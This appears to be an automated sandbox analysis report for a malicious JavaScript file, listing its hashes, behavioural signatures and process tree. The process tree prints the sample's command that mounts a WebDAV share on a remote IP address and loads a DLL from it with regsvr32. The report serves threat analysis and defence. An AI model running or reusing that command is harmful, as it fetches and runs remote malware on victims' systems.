Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 15:45

General

  • Target

    20165240273081030282.js

  • Size

    3KB

  • MD5

    50ddfee563ab4aac8262d5af215e3654

  • SHA1

    768d954fd9777b5df6934782dcfd4cebf7f6f620

  • SHA256

    873f260f38acc2720a5c9f975efd22e048b1fed9833b8c8deb07ce9dd7d772d5

  • SHA512

    081aa9e38b1e5ccac7c39cd75235ffae8076dccfbeb00764276fcd540abb067bcce57e35c1aac9d01ebad339d5e81d091ade954cc1d4f0822e30ed7aee224224

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20165240273081030282.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\69061822325566.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2080

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads